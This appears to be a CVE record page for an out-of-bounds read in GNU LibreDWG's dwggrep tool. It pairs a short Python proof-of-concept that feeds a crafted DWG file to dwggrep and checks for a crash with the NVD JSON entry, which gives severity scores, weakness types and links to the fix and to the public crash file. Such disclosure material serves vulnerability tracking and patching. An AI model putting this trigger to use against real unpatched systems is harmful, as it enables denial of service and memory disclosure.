CVE-2026-9504

# Proof of Concept for CVE-2026-9504 # This script demonstrates how to trigger the vulnerability by processing a malicious DWG file. # Note: Requires a vulnerable version of LibreDWG and a malicious file. import subprocess import os def trigger_poc(malicious_file): """ Executes the vulnerable dwggrep utility against a malicious file. """ if not os.path.exists(malicious_file): print(f"Error: File {malicious_file} not found.") return try: print(f"[*] Triggering dwggrep with {malicious_file}...") # Calling the vulnerable component: dwggrep result = subprocess.run( ['dwggrep', malicious_file], capture_output=True, text=True, timeout=10 ) print("Stdout:", result.stdout) print("Stderr:", result.stderr) print("Return Code:", result.returncode) # A crash or specific output indicates successful triggering of the OOB read if result.returncode < 0: print("[+] Process crashed (Signal {}). Potential vulnerability triggered.".format(-result.returncode)) except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace 'malicious.dwg' with the actual path to the PoC file # e.g., libredwg_6d6a339_heap_overflow_bit_convert_TU.dwg poc_file = "malicious.dwg" trigger_poc(poc_file)

{"cve": {"id": "CVE-2026-9504", "sourceIdentifier": "[email protected]", "published": "2026-05-25T22:16:34.153", "lastModified": "2026-05-25T22:16:34.153", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in GNU LibreDWG up to 0.14. Affected is the function bit_convert_TU of the file programs/dwggrep.c of the component Dwggrep Utility. This manipulation causes out-of-bounds read. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. Patch name: be996bf2178a40e98720f18c2414815d244413db. Applying a patch is the recommended action to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://github.com/HackC0der/CVE-Repos/blob/main/libredwg/libredwg_6d6a339_heap_overflow_bit_convert_TU.dwg", "source": "[email protected]"}, {"url": "https://github.com/LibreDWG/libredwg/commit/be996bf2178a40e98720f18c2414815d244413db", "source": "[email protected]"}, {"url": "https://github.com/LibreDWG/libredwg/issues/1246", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/814261", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365486", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365486/cti", "source": "[email protected]"}, {"url": "https://www.gnu.org/", "source": "[email protected]"}]}}